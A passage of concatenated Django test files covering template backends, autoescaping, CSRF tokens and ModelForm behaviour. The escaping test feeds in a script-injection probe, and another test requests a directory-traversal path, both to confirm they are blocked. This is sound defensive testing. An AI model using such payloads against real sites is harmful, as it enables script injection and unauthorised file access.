        'BACKEND': 'django.template.backends.django.DjangoTemplates',
    }])
    def test_backend_names_must_be_unique(self):
        with self.assertRaises(ImproperlyConfigured):
            engines.all()












from template_tests.test_response import test_processor_name

from django.template import EngineHandler
from django.template.backends.django import DjangoTemplates
from django.template.library import InvalidTemplateLibrary
from django.test import RequestFactory, override_settings

from .test_dummy import TemplateStringsTests


class DjangoTemplatesTests(TemplateStringsTests):

    engine_class = DjangoTemplates
    backend_name = 'django'

    def test_context_has_priority_over_template_context_processors(self):
        # See ticket #23789.
        engine = DjangoTemplates({
            'DIRS': [],
            'APP_DIRS': False,
            'NAME': 'django',
            'OPTIONS': {
                'context_processors': [test_processor_name],
            },
        })

        template = engine.from_string('{{ processors }}')
        request = RequestFactory().get('/')

        # Check that context processors run
        content = template.render({}, request)
        self.assertEqual(content, 'yes')

        # Check that context overrides context processors
        content = template.render({'processors': 'no'}, request)
        self.assertEqual(content, 'no')

    @override_settings(INSTALLED_APPS=['template_backends.apps.good'])
    def test_templatetag_discovery(self):
        engine = DjangoTemplates({
            'DIRS': [],
            'APP_DIRS': False,
            'NAME': 'django',
            'OPTIONS': {
                'libraries': {
                    'alternate': 'template_backends.apps.good.templatetags.good_tags',
                    'override': 'template_backends.apps.good.templatetags.good_tags',
                },
            },
        })

        # libraries are discovered from installed applications
        self.assertEqual(
            engine.engine.libraries['good_tags'],
            'template_backends.apps.good.templatetags.good_tags',
        )
        self.assertEqual(
            engine.engine.libraries['subpackage.tags'],
            'template_backends.apps.good.templatetags.subpackage.tags',
        )
        # libraries are discovered from django.templatetags
        self.assertEqual(
            engine.engine.libraries['static'],
            'django.templatetags.static',
        )
        # libraries passed in OPTIONS are registered
        self.assertEqual(
            engine.engine.libraries['alternate'],
            'template_backends.apps.good.templatetags.good_tags',
        )
        # libraries passed in OPTIONS take precedence over discovered ones
        self.assertEqual(
            engine.engine.libraries['override'],
            'template_backends.apps.good.templatetags.good_tags',
        )

    @override_settings(INSTALLED_APPS=['template_backends.apps.importerror'])
    def test_templatetag_discovery_import_error(self):
        """
        Import errors in tag modules should be reraised with a helpful message.
        """
        with self.assertRaisesMessage(
            InvalidTemplateLibrary,
            "ImportError raised when trying to load "
            "'template_backends.apps.importerror.templatetags.broken_tags'"
        ):
            DjangoTemplates({
                'DIRS': [],
                'APP_DIRS': False,
                'NAME': 'django',
                'OPTIONS': {},
            })

    def test_builtins_discovery(self):
        engine = DjangoTemplates({
            'DIRS': [],
            'APP_DIRS': False,
            'NAME': 'django',
            'OPTIONS': {
                'builtins': ['template_backends.apps.good.templatetags.good_tags'],
            },
        })

        self.assertEqual(
            engine.engine.builtins, [
                'django.template.defaulttags',
                'django.template.defaultfilters',
                'django.template.loader_tags',
                'template_backends.apps.good.templatetags.good_tags',
            ]
        )

    def test_autoescape_off(self):
        templates = [{
            'BACKEND': 'django.template.backends.django.DjangoTemplates',
            'OPTIONS': {'autoescape': False},
        }]
        engines = EngineHandler(templates=templates)
        self.assertEqual(
            engines['django'].from_string('Hello, {{ name }}').render({'name': 'Bob & Jim'}),
            'Hello, Bob & Jim'
        )

    def test_autoescape_default(self):
        templates = [{
            'BACKEND': 'django.template.backends.django.DjangoTemplates',
        }]
        engines = EngineHandler(templates=templates)
        self.assertEqual(
            engines['django'].from_string('Hello, {{ name }}').render({'name': 'Bob & Jim'}),
            'Hello, Bob &amp; Jim'
        )






# coding: utf-8

from __future__ import unicode_literals

import re

from django.forms import CharField, Form, Media
from django.http import HttpRequest
from django.middleware.csrf import (
    CsrfViewMiddleware, _compare_salted_tokens as equivalent_tokens, get_token,
)
from django.template import TemplateDoesNotExist, TemplateSyntaxError
from django.template.backends.dummy import TemplateStrings
from django.test import SimpleTestCase


class TemplateStringsTests(SimpleTestCase):

    engine_class = TemplateStrings
    backend_name = 'dummy'
    options = {}

    @classmethod
    def setUpClass(cls):
        super(TemplateStringsTests, cls).setUpClass()
        params = {
            'DIRS': [],
            'APP_DIRS': True,
            'NAME': cls.backend_name,
            'OPTIONS': cls.options,
        }
        cls.engine = cls.engine_class(params)

    def test_from_string(self):
        template = self.engine.from_string("Hello!\n")
        content = template.render()
        self.assertEqual(content, "Hello!\n")

    def test_get_template(self):
        template = self.engine.get_template('template_backends/hello.html')
        content = template.render({'name': 'world'})
        self.assertEqual(content, "Hello world!\n")

    def test_get_template_non_existing(self):
        with self.assertRaises(TemplateDoesNotExist) as e:
            self.engine.get_template('template_backends/non_existing.html')
        self.assertEqual(e.exception.backend, self.engine)

    def test_get_template_syntax_error(self):
        # There's no way to trigger a syntax error with the dummy backend.
        # The test still lives here to factor it between other backends.
        if self.backend_name == 'dummy':
            self.skipTest("test doesn't apply to dummy backend")
        with self.assertRaises(TemplateSyntaxError):
            self.engine.get_template('template_backends/syntax_error.html')

    def test_html_escaping(self):
        template = self.engine.get_template('template_backends/hello.html')
        context = {'name': '<script>alert("XSS!");</script>'}
        content = template.render(context)

        self.assertIn('&lt;script&gt;', content)
        self.assertNotIn('<script>', content)

    def test_django_html_escaping(self):
        if self.backend_name == 'dummy':
            self.skipTest("test doesn't apply to dummy backend")

        class TestForm(Form):
            test_field = CharField()

        media = Media(js=['my-script.js'])
        form = TestForm()
        template = self.engine.get_template('template_backends/django_escaping.html')
        content = template.render({'media': media, 'test_form': form})

        expected = '{}\n\n{}\n\n{}'.format(media, form, form['test_field'])

        self.assertHTMLEqual(content, expected)

    def test_csrf_token(self):
        request = HttpRequest()
        CsrfViewMiddleware().process_view(request, lambda r: None, (), {})

        template = self.engine.get_template('template_backends/csrf.html')
        content = template.render(request=request)

        expected = '<input type="hidden" name="csrfmiddlewaretoken" value="([^"]+)" />'
        match = re.match(expected, content) or re.match(expected.replace('"', "'"), content)
        self.assertTrue(match, "hidden csrftoken field not found in output")
        self.assertTrue(equivalent_tokens(match.group(1), get_token(request)))

    def test_no_directory_traversal(self):
        with self.assertRaises(TemplateDoesNotExist):
            self.engine.get_template('../forbidden/template_backends/hello.html')

    def test_non_ascii_characters(self):
        template = self.engine.get_template('template_backends/hello.html')
        content = template.render({'name': 'Jérôme'})
        self.assertEqual(content, "Hello Jérôme!\n")


















from django.template import Library

register = Library()






from django.template import Library

register = Library()


















from django.template import Library

register = Library()


















import DoesNotExist  # noqa












"""
XX. Generating HTML forms from models

This is mostly just a reworking of the ``form_for_model``/``form_for_instance``
tests to use ``ModelForm``. As such, the text may not make sense in all cases,
and the examples are probably a poor fit for the ``ModelForm`` syntax. In other
words, most of these tests should be rewritten.
"""
from __future__ import unicode_literals

import datetime
import os
import tempfile
import uuid

from django.core import validators
from django.core.exceptions import ValidationError
from django.core.files.storage import FileSystemStorage
from django.db import models
from django.utils import six
from django.utils._os import upath
from django.utils.encoding import python_2_unicode_compatible
from django.utils.six.moves import range

temp_storage_dir = tempfile.mkdtemp()
temp_storage = FileSystemStorage(temp_storage_dir)

ARTICLE_STATUS = (
    (1, 'Draft'),
    (2, 'Pending'),
    (3, 'Live'),
)

ARTICLE_STATUS_CHAR = (
    ('d', 'Draft'),
    ('p', 'Pending'),
    ('l', 'Live'),
)


class Person(models.Model):
    name = models.CharField(max_length=100)


@python_2_unicode_compatible
class Category(models.Model):
    name = models.CharField(max_length=20)
    slug = models.SlugField(max_length=20)
    url = models.CharField('The URL', max_length=40)

    def __str__(self):
        return self.name

    def __repr__(self):
        return self.__str__()


@python_2_unicode_compatible
class Writer(models.Model):
    name = models.CharField(max_length=50, help_text='Use both first and last names.')

    class Meta:
        ordering = ('name',)

    def __str__(self):
        return self.name


@python_2_unicode_compatible
class Article(models.Model):
    headline = models.CharField(max_length=50)
    slug = models.SlugField()
    pub_date = models.DateField()
    created = models.DateField(editable=False)
    writer = models.ForeignKey(Writer, models.CASCADE)
    article = models.TextField()
    categories = models.ManyToManyField(Category, blank=True)
    status = models.PositiveIntegerField(choices=ARTICLE_STATUS, blank=True, null=True)

    def save(self, *args, **kwargs):
        if not self.id:
            self.created = datetime.date.today()
        return super(Article, self).save(*args, **kwargs)

    def __str__(self):
        return self.headline


class ImprovedArticle(models.Model):
    article = models.OneToOneField(Article, models.CASCADE)


class ImprovedArticleWithParentLink(models.Model):
    article = models.OneToOneField(Article, models.CASCADE, parent_link=True)


class BetterWriter(Writer):
    score = models.IntegerField()


@python_2_unicode_compatible
class Publication(models.Model):
    title = models.CharField(max_length=30)
    date_published = models.DateField()

    def __str__(self):
        return self.title


def default_mode():
    return 'di'


def default_category():
    return 3


class PublicationDefaults(models.Model):
    MODE_CHOICES = (('di', 'direct'), ('de', 'delayed'))
    CATEGORY_CHOICES = ((1, 'Games'), (2, 'Comics'), (3, 'Novel'))
    title = models.CharField(max_length=30)
    date_published = models.DateField(default=datetime.date.today)
    mode = models.CharField(max_length=2, choices=MODE_CHOICES, default=default_mode)
    category = models.IntegerField(choices=CATEGORY_CHOICES, default=default_category)


class Author(models.Model):
    publication = models.OneToOneField(Publication, models.SET_NULL, null=True, blank=True)
    full_name = models.CharField(max_length=255)


class Author1(models.Model):
    publication = models.OneToOneField(Publication, models.SET_NULL, null=False)
    full_name = models.CharField(max_length=255)


@python_2_unicode_compatible
class WriterProfile(models.Model):
    writer = models.OneToOneField(Writer, models.CASCADE, primary_key=True)
    age = models.PositiveIntegerField()

    def __str__(self):
        return "%s is %s" % (self.writer, self.age)


class Document(models.Model):
    myfile = models.FileField(upload_to='unused', blank=True)


@python_2_unicode_compatible
class TextFile(models.Model):
    description = models.CharField(max_length=20)
    file = models.FileField(storage=temp_storage, upload_to='tests', max_length=15)

    def __str__(self):
        return self.description


class CustomFileField(models.FileField):
    def save_form_data(self, instance, data):
        been_here = getattr(self, 'been_saved', False)
        assert not been_here, "save_form_data called more than once"
        setattr(self, 'been_saved', True)


class CustomFF(models.Model):
    f = CustomFileField(upload_to='unused', blank=True)


class FilePathModel(models.Model):
    path = models.FilePathField(path=os.path.dirname(upath(__file__)), match=".*\.py$", blank=True)


try:
    from PIL import Image  # NOQA: detect if Pillow is installed

    test_images = True

    @python_2_unicode_compatible
    class ImageFile(models.Model):
        def custom_upload_path(self, filename):
            path = self.path or 'tests'
            return '%s/%s' % (path, filename)

        description = models.CharField(max_length=20)

        # Deliberately put the image field *after* the width/height fields to
        # trigger the bug in #10404 with width/height not getting assigned.
        width = models.IntegerField(editable=False)
        height = models.IntegerField(editable=False)
        image = models.ImageField(storage=temp_storage, upload_to=custom_upload_path,
                                  width_field='width', height_field='height')
        path = models.CharField(max_length=16, blank=True, default='')

        def __str__(self):
            return self.description

    @python_2_unicode_compatible
    class OptionalImageFile(models.Model):
        def custom_upload_path(self, filename):
            path = self.path or 'tests'
            return '%s/%s' % (path, filename)

        description = models.CharField(max_length=20)
        image = models.ImageField(storage=temp_storage, upload_to=custom_upload_path,
                                  width_field='width', height_field='height',
                                  blank=True, null=True)
        width = models.IntegerField(editable=False, null=True)
        height = models.IntegerField(editable=False, null=True)
        path = models.CharField(max_length=16, blank=True, default='')

        def __str__(self):
            return self.description
except ImportError:
    test_images = False


@python_2_unicode_compatible
class CommaSeparatedInteger(models.Model):
    field = models.CommaSeparatedIntegerField(max_length=20)

    def __str__(self):
        return self.field


class Homepage(models.Model):
    url = models.URLField()


@python_2_unicode_compatible
class Product(models.Model):
    slug = models.SlugField(unique=True)

    def __str__(self):
        return self.slug


@python_2_unicode_compatible
class Price(models.Model):
    price = models.DecimalField(max_digits=10, decimal_places=2)
    quantity = models.PositiveIntegerField()

    def __str__(self):
        return "%s for %s" % (self.quantity, self.price)

    class Meta:
        unique_together = (('price', 'quantity'),)


class Triple(models.Model):
    left = models.IntegerField()
    middle = models.IntegerField()
    right = models.IntegerField()

    class Meta:
        unique_together = (('left', 'middle'), ('middle', 'right'))


class ArticleStatus(models.Model):
    status = models.CharField(max_length=2, choices=ARTICLE_STATUS_CHAR, blank=True, null=True)


@python_2_unicode_compatible
class Inventory(models.Model):
    barcode = models.PositiveIntegerField(unique=True)
    parent = models.ForeignKey('self', models.SET_NULL, to_field='barcode', blank=True, null=True)
    name = models.CharField(blank=False, max_length=20)

    class Meta:
        ordering = ('name',)

    def __str__(self):
        return self.name

    def __repr__(self):
        return self.__str__()


class Book(models.Model):
    title = models.CharField(max_length=40)
    author = models.ForeignKey(Writer, models.SET_NULL, blank=True, null=True)
    special_id = models.IntegerField(blank=True, null=True, unique=True)

    class Meta:
        unique_together = ('title', 'author')


class BookXtra(models.Model):
    isbn = models.CharField(max_length=16, unique=True)
    suffix1 = models.IntegerField(blank=True, default=0)
    suffix2 = models.IntegerField(blank=True, default=0)

    class Meta:
        unique_together = (('suffix1', 'suffix2'))
        abstract = True


class DerivedBook(Book, BookXtra):
    pass


@python_2_unicode_compatible
class ExplicitPK(models.Model):
    key = models.CharField(max_length=20, primary_key=True)
    desc = models.CharField(max_length=20, blank=True, unique=True)

    class Meta:
        unique_together = ('key', 'desc')

    def __str__(self):
        return self.key


@python_2_unicode_compatible
class Post(models.Model):
    title = models.CharField(max_length=50, unique_for_date='posted', blank=True)
    slug = models.CharField(max_length=50, unique_for_year='posted', blank=True)
    subtitle = models.CharField(max_length=50, unique_for_month='posted', blank=True)
    posted = models.DateField()

    def __str__(self):
        return self.title


@python_2_unicode_compatible
class DateTimePost(models.Model):
    title = models.CharField(max_length=50, unique_for_date='posted', blank=True)
    slug = models.CharField(max_length=50, unique_for_year='posted', blank=True)
    subtitle = models.CharField(max_length=50, unique_for_month='posted', blank=True)
    posted = models.DateTimeField(editable=False)

    def __str__(self):
        return self.title


class DerivedPost(Post):
    pass


@python_2_unicode_compatible
class BigInt(models.Model):
    biggie = models.BigIntegerField()

    def __str__(self):
        return six.text_type(self.biggie)


class MarkupField(models.CharField):
    def __init__(self, *args, **kwargs):
        kwargs["max_length"] = 20
        super(MarkupField, self).__init__(*args, **kwargs)

    def formfield(self, **kwargs):
        # don't allow this field to be used in form (real use-case might be
        # that you know the markup will always be X, but it is among an app
        # that allows the user to say it could be something else)
        # regressed at r10062
        return None


class CustomFieldForExclusionModel(models.Model):
    name = models.CharField(max_length=10)
    markup = MarkupField()


class FlexibleDatePost(models.Model):
    title = models.CharField(max_length=50, unique_for_date='posted', blank=True)
    slug = models.CharField(max_length=50, unique_for_year='posted', blank=True)
    subtitle = models.CharField(max_length=50, unique_for_month='posted', blank=True)
    posted = models.DateField(blank=True, null=True)


@python_2_unicode_compatible
class Colour(models.Model):
    name = models.CharField(max_length=50)

    def __iter__(self):
        for number in range(5):
            yield number

    def __str__(self):
        return self.name


class ColourfulItem(models.Model):
    name = models.CharField(max_length=50)
    colours = models.ManyToManyField(Colour)


class CustomErrorMessage(models.Model):
    name1 = models.CharField(
        max_length=50,
        validators=[validators.validate_slug],
        error_messages={'invalid': 'Model custom error message.'},
    )
    name2 = models.CharField(
        max_length=50,
        validators=[validators.validate_slug],
        error_messages={'invalid': 'Model custom error message.'},
    )

    def clean(self):
        if self.name1 == 'FORBIDDEN_VALUE':
            raise ValidationError({'name1': [ValidationError('Model.clean() error messages.')]})
        elif self.name1 == 'FORBIDDEN_VALUE2':
            raise ValidationError({'name1': 'Model.clean() error messages (simpler syntax).'})
        elif self.name1 == 'GLOBAL_ERROR':
            raise ValidationError("Global error message.")


def today_callable_dict():
    return {"last_action__gte": datetime.datetime.today()}


def today_callable_q():
    return models.Q(last_action__gte=datetime.datetime.today())


class Character(models.Model):
    username = models.CharField(max_length=100)
    last_action = models.DateTimeField()


class StumpJoke(models.Model):
    most_recently_fooled = models.ForeignKey(
        Character,
        models.CASCADE,
        limit_choices_to=today_callable_dict,
        related_name="+",
    )
    has_fooled_today = models.ManyToManyField(Character, limit_choices_to=today_callable_q, related_name="+")


# Model for #13776
class Student(models.Model):
    character = models.ForeignKey(Character, models.CASCADE)
    study = models.CharField(max_length=30)


# Model for #639
class Photo(models.Model):
    title = models.CharField(max_length=30)
    image = models.FileField(storage=temp_storage, upload_to='tests')

    # Support code for the tests; this keeps track of how many times save()
    # gets called on each instance.
    def __init__(self, *args, **kwargs):
        super(Photo, self).__init__(*args, **kwargs)
        self._savecount = 0

    def save(self, force_insert=False, force_update=False):
        super(Photo, self).save(force_insert, force_update)
        self._savecount += 1


class UUIDPK(models.Model):
    uuid = models.UUIDField(primary_key=True, default=uuid.uuid4, editable=False)
    name = models.CharField(max_length=30)


# Models for #24706
class StrictAssignmentFieldSpecific(models.Model):
    title = models.CharField(max_length=30)
    _should_error = False

    def __setattr__(self, key, value):
        if self._should_error is True:
            raise ValidationError(message={key: "Cannot set attribute"}, code='invalid')
        super(StrictAssignmentFieldSpecific, self).__setattr__(key, value)


class StrictAssignmentAll(models.Model):
    title = models.CharField(max_length=30)
    _should_error = False

    def __setattr__(self, key, value):
        if self._should_error is True:
            raise ValidationError(message="Cannot set attribute", code='invalid')
        super(StrictAssignmentAll, self).__setattr__(key, value)


# A model with ForeignKey(blank=False, null=True)
class Award(models.Model):
    name = models.CharField(max_length=30)
    character = models.ForeignKey(Character, models.SET_NULL, blank=False, null=True)


class NullableUniqueCharFieldModel(models.Model):
    codename = models.CharField(max_length=50, blank=True, null=True, unique=True)












from __future__ import unicode_literals

import datetime
import os
from decimal import Decimal
from unittest import skipUnless

from django import forms
from django.core.exceptions import (
    NON_FIELD_ERRORS, FieldError, ImproperlyConfigured,
)
from django.core.files.uploadedfile import SimpleUploadedFile
from django.core.validators import ValidationError
from django.db import connection, models
from django.db.models.query import EmptyQuerySet
from django.forms.models import (
    ModelChoiceIterator, ModelFormMetaclass, construct_instance,
    fields_for_model, model_to_dict, modelform_factory,
)
from django.template import Context, Template
from django.test import SimpleTestCase, TestCase, skipUnlessDBFeature
from django.utils import six
from django.utils._os import upath

from .models import (
    Article, ArticleStatus, Author, Author1, Award, BetterWriter, BigInt, Book,
    Category, Character, Colour, ColourfulItem, CommaSeparatedInteger,
    CustomErrorMessage, CustomFF, CustomFieldForExclusionModel, DateTimePost,
    DerivedBook, DerivedPost, Document, ExplicitPK, FilePathModel,
    FlexibleDatePost, Homepage, ImprovedArticle, ImprovedArticleWithParentLink,
    Inventory, NullableUniqueCharFieldModel, Person, Photo, Post, Price,
    Product, Publication, PublicationDefaults, StrictAssignmentAll,
    StrictAssignmentFieldSpecific, Student, StumpJoke, TextFile, Triple,
    Writer, WriterProfile, test_images,
)

if test_images:
    from .models import ImageFile, OptionalImageFile

    class ImageFileForm(forms.ModelForm):
        class Meta:
            model = ImageFile
            fields = '__all__'

    class OptionalImageFileForm(forms.ModelForm):
        class Meta:
            model = OptionalImageFile
            fields = '__all__'


class ProductForm(forms.ModelForm):
    class Meta:
        model = Product
        fields = '__all__'


class PriceForm(forms.ModelForm):
    class Meta:
        model = Price
        fields = '__all__'


class BookForm(forms.ModelForm):
    class Meta:
        model = Book
        fields = '__all__'


class DerivedBookForm(forms.ModelForm):
    class Meta:
        model = DerivedBook
        fields = '__all__'


class ExplicitPKForm(forms.ModelForm):
    class Meta:
        model = ExplicitPK
        fields = ('key', 'desc',)


class PostForm(forms.ModelForm):
    class Meta:
        model = Post
        fields = '__all__'


class DerivedPostForm(forms.ModelForm):
    class Meta:
        model = DerivedPost
        fields = '__all__'


class CustomWriterForm(forms.ModelForm):
    name = forms.CharField(required=False)

    class Meta:
        model = Writer
        fields = '__all__'


class BaseCategoryForm(forms.ModelForm):
    class Meta:
        model = Category
        fields = '__all__'


class ArticleForm(forms.ModelForm):
    class Meta:
        model = Article
        fields = '__all__'


class RoykoForm(forms.ModelForm):
    class Meta:
        model = Writer
        fields = '__all__'


class ArticleStatusForm(forms.ModelForm):
    class Meta:
        model = ArticleStatus
        fields = '__all__'


class InventoryForm(forms.ModelForm):
    class Meta:
        model = Inventory
        fields = '__all__'


class SelectInventoryForm(forms.Form):
    items = forms.ModelMultipleChoiceField(Inventory.objects.all(), to_field_name='barcode')


class CustomFieldForExclusionForm(forms.ModelForm):
    class Meta:
        model = CustomFieldForExclusionModel
        fields = ['name', 'markup']


class TextFileForm(forms.ModelForm):
    class Meta:
        model = TextFile
        fields = '__all__'


class BigIntForm(forms.ModelForm):
    class Meta:
        model = BigInt
        fields = '__all__'


class ModelFormWithMedia(forms.ModelForm):
    class Media:
        js = ('/some/form/javascript',)
        css = {
            'all': ('/some/form/css',)
        }

    class Meta:
        model = TextFile
        fields = '__all__'


class CustomErrorMessageForm(forms.ModelForm):
    name1 = forms.CharField(error_messages={'invalid': 'Form custom error message.'})

    class Meta:
        fields = '__all__'
        model = CustomErrorMessage


class ModelFormBaseTest(TestCase):
    def test_base_form(self):
        self.assertEqual(list(BaseCategoryForm.base_fields),
                         ['name', 'slug', 'url'])

    def test_no_model_class(self):
        class NoModelModelForm(forms.ModelForm):
            pass
        with self.assertRaises(ValueError):
            NoModelModelForm()

    def test_empty_fields_to_fields_for_model(self):
        """
        An argument of fields=() to fields_for_model should return an empty dictionary
        """
        field_dict = fields_for_model(Person, fields=())
        self.assertEqual(len(field_dict), 0)

    def test_empty_fields_on_modelform(self):
        """
        No fields on a ModelForm should actually result in no fields.
        """
        class EmptyPersonForm(forms.ModelForm):
            class Meta:
                model = Person
                fields = ()

        form = EmptyPersonForm()
        self.assertEqual(len(form.fields), 0)

    def test_empty_fields_to_construct_instance(self):
        """
        No fields should be set on a model instance if construct_instance receives fields=().
        """
        form = modelform_factory(Person, fields="__all__")({'name': 'John Doe'})
        self.assertTrue(form.is_valid())
        instance = construct_instance(form, Person(), fields=())
        self.assertEqual(instance.name, '')

    def test_blank_with_null_foreign_key_field(self):
        """
        #13776 -- ModelForm's with models having a FK set to null=False and
        required=False should be valid.
        """
        class FormForTestingIsValid(forms.ModelForm):
            class Meta:
                model = Student
                fields = '__all__'

            def __init__(self, *args, **kwargs):
                super(FormForTestingIsValid, self).__init__(*args, **kwargs)
                self.fields['character'].required = False

        char = Character.objects.create(username='user',
                                        last_action=datetime.datetime.today())
        data = {'study': 'Engineering'}
        data2 = {'study': 'Engineering', 'character': char.pk}

        # form is valid because required=False for field 'character'
        f1 = FormForTestingIsValid(data)
        self.assertTrue(f1.is_valid())

        f2 = FormForTestingIsValid(data2)
        self.assertTrue(f2.is_valid())
        obj = f2.save()
        self.assertEqual(obj.character, char)

    def test_blank_false_with_null_true_foreign_key_field(self):
        """
        A ModelForm with a model having ForeignKey(blank=False, null=True)
        and the form field set to required=False should allow the field to be
        unset.
        """
        class AwardForm(forms.ModelForm):
            class Meta:
                model = Award
                fields = '__all__'

            def __init__(self, *args, **kwargs):
                super(AwardForm, self).__init__(*args, **kwargs)
                self.fields['character'].required = False

        character = Character.objects.create(username='user', last_action=datetime.datetime.today())
        award = Award.objects.create(name='Best sprinter', character=character)
        data = {'name': 'Best tester', 'character': ''}  # remove character
        form = AwardForm(data=data, instance=award)
        self.assertTrue(form.is_valid())
        award = form.save()
        self.assertIsNone(award.character)

    def test_save_blank_false_with_required_false(self):
        """
        A ModelForm with a model with a field set to blank=False and the form
        field set to required=False should allow the field to be unset.
        """
        obj = Writer.objects.create(name='test')
        form = CustomWriterForm(data={'name': ''}, instance=obj)
        self.assertTrue(form.is_valid())
        obj = form.save()
        self.assertEqual(obj.name, '')

    def test_save_blank_null_unique_charfield_saves_null(self):
        form_class = modelform_factory(model=NullableUniqueCharFieldModel, fields=['codename'])
        empty_value = '' if connection.features.interprets_empty_strings_as_nulls else None

        form = form_class(data={'codename': ''})
        self.assertTrue(form.is_valid())
        form.save()
        self.assertEqual(form.instance.codename, empty_value)

        # Save a second form to verify there isn't a unique constraint violation.
        form = form_class(data={'codename': ''})
        self.assertTrue(form.is_valid())
        form.save()
        self.assertEqual(form.instance.codename, empty_value)

    def test_missing_fields_attribute(self):
        message = (
            "Creating a ModelForm without either the 'fields' attribute "
            "or the 'exclude' attribute is prohibited; form "
            "MissingFieldsForm needs updating."
        )
        with self.assertRaisesMessage(ImproperlyConfigured, message):
            class MissingFieldsForm(forms.ModelForm):
                class Meta:
                    model = Category

    def test_extra_fields(self):
        class ExtraFields(BaseCategoryForm):
            some_extra_field = forms.BooleanField()

        self.assertEqual(list(ExtraFields.base_fields),
                         ['name', 'slug', 'url', 'some_extra_field'])

    def test_extra_field_model_form(self):
        with self.assertRaisesMessage(FieldError, 'no-field'):
            class ExtraPersonForm(forms.ModelForm):
                """ ModelForm with an extra field """
                age = forms.IntegerField()

                class Meta:
                    model = Person
                    fields = ('name', 'no-field')

    def test_extra_declared_field_model_form(self):
        class ExtraPersonForm(forms.ModelForm):
            """ ModelForm with an extra field """
            age = forms.IntegerField()

            class Meta:
                model = Person
                fields = ('name', 'age')

    def test_extra_field_modelform_factory(self):
        with self.assertRaises(FieldError):
            modelform_factory(Person, fields=['no-field', 'name'])

    def test_replace_field(self):
        class ReplaceField(forms.ModelForm):
            url = forms.BooleanField()

            class Meta:
                model = Category
                fields = '__all__'

        self.assertIsInstance(ReplaceField.base_fields['url'], forms.fields.BooleanField)

    def test_replace_field_variant_2(self):
        # Should have the same result as before,
        # but 'fields' attribute specified differently
        class ReplaceField(forms.ModelForm):
            url = forms.BooleanField()

            class Meta:
                model = Category
                fields = ['url']

        self.assertIsInstance(ReplaceField.base_fields['url'], forms.fields.BooleanField)

    def test_replace_field_variant_3(self):
        # Should have the same result as before,
        # but 'fields' attribute specified differently
        class ReplaceField(forms.ModelForm):
            url = forms.BooleanField()

            class Meta:
                model = Category
                fields = []  # url will still appear, since it is explicit above

        self.assertIsInstance(ReplaceField.base_fields['url'], forms.fields.BooleanField)

    def test_override_field(self):
        class WriterForm(forms.ModelForm):
            book = forms.CharField(required=False)

            class Meta:
                model = Writer
                fields = '__all__'

        wf = WriterForm({'name': 'Richard Lockridge'})
        self.assertTrue(wf.is_valid())

    def test_limit_nonexistent_field(self):
        expected_msg = 'Unknown field(s) (nonexistent) specified for Category'
        with self.assertRaisesMessage(FieldError, expected_msg):
            class InvalidCategoryForm(forms.ModelForm):
                class Meta:
                    model = Category
                    fields = ['nonexistent']

    def test_limit_fields_with_string(self):
        expected_msg = "CategoryForm.Meta.fields cannot be a string. Did you mean to type: ('url',)?"
        with self.assertRaisesMessage(TypeError, expected_msg):
            class CategoryForm(forms.ModelForm):
                class Meta:
                    model = Category
                    fields = ('url')  # note the missing comma

    def test_exclude_fields(self):
        class ExcludeFields(forms.ModelForm):
            class Meta:
                model = Category
                exclude = ['url']

        self.assertEqual(list(ExcludeFields.base_fields), ['name', 'slug'])

    def test_exclude_nonexistent_field(self):
        class ExcludeFields(forms.ModelForm):
            class Meta:
                model = Category
                exclude = ['nonexistent']

        self.assertEqual(list(ExcludeFields.base_fields), ['name', 'slug', 'url'])

    def test_exclude_fields_with_string(self):
        expected_msg = "CategoryForm.Meta.exclude cannot be a string. Did you mean to type: ('url',)?"
        with self.assertRaisesMessage(TypeError, expected_msg):
            class CategoryForm(forms.ModelForm):
                class Meta:
                    model = Category
                    exclude = ('url')  # note the missing comma

    def test_exclude_and_validation(self):
        # This Price instance generated by this form is not valid because the quantity
        # field is required, but the form is valid because the field is excluded from
        # the form. This is for backwards compatibility.
        class PriceFormWithoutQuantity(forms.ModelForm):
            class Meta:
                model = Price
                exclude = ('quantity',)

        form = PriceFormWithoutQuantity({'price': '6.00'})
        self.assertTrue(form.is_valid())
        price = form.save(commit=False)
        with self.assertRaises(ValidationError):
            price.full_clean()

        # The form should not validate fields that it doesn't contain even if they are
        # specified using 'fields', not 'exclude'.
        class PriceFormWithoutQuantity(forms.ModelForm):
            class Meta:
                model = Price
                fields = ('price',)
        form = PriceFormWithoutQuantity({'price': '6.00'})
        self.assertTrue(form.is_valid())

        # The form should still have an instance of a model that is not complete and
        # not saved into a DB yet.
        self.assertEqual(form.instance.price, Decimal('6.00'))
        self.assertIsNone(form.instance.quantity)
        self.assertIsNone(form.instance.pk)

    def test_confused_form(self):
        class ConfusedForm(forms.ModelForm):
            """ Using 'fields' *and* 'exclude'. Not sure why you'd want to do
            this, but uh, "be liberal in what you accept" and all.
            """
            class Meta:
                model = Category
                fields = ['name', 'url']
                exclude = ['url']

        self.assertEqual(list(ConfusedForm.base_fields),
                         ['name'])

    def test_mixmodel_form(self):
        class MixModelForm(BaseCategoryForm):
            """ Don't allow more than one 'model' definition in the
            inheritance hierarchy.  Technically, it would generate a valid
            form, but the fact that the resulting save method won't deal with
            multiple objects is likely to trip up people not familiar with the
            mechanics.
            """
            class Meta:
                model = Article
                fields = '__all__'
            # MixModelForm is now an Article-related thing, because MixModelForm.Meta
            # overrides BaseCategoryForm.Meta.

        self.assertEqual(
            list(MixModelForm.base_fields),
            ['headline', 'slug', 'pub_date', 'writer', 'article', 'categories', 'status']
        )

    def test_article_form(self):
        self.assertEqual(
            list(ArticleForm.base_fields),
            ['headline', 'slug', 'pub_date', 'writer', 'article', 'categories', 'status']
        )

    def test_bad_form(self):
        # First class with a Meta class wins...
        class BadForm(ArticleForm, BaseCategoryForm):
            pass

        self.assertEqual(
            list(BadForm.base_fields),
            ['headline', 'slug', 'pub_date', 'writer', 'article', 'categories', 'status']
        )

    def test_invalid_meta_model(self):
        class InvalidModelForm(forms.ModelForm):
            class Meta:
                pass  # no model

        # Can't create new form
        with self.assertRaises(ValueError):
            InvalidModelForm()

        # Even if you provide a model instance
        with self.assertRaises(ValueError):
            InvalidModelForm(instance=Category)

    def test_subcategory_form(self):
        class SubCategoryForm(BaseCategoryForm):
            """ Subclassing without specifying a Meta on the class will use
            the parent's Meta (or the first parent in the MRO if there are
            multiple parent classes).
            """
            pass

        self.assertEqual(list(SubCategoryForm.base_fields),
                         ['name', 'slug', 'url'])

    def test_subclassmeta_form(self):
        class SomeCategoryForm(forms.ModelForm):
            checkbox = forms.BooleanField()

            class Meta:
                model = Category
                fields = '__all__'

        class SubclassMeta(SomeCategoryForm):
            """ We can also subclass the Meta inner class to change the fields
            list.
            """
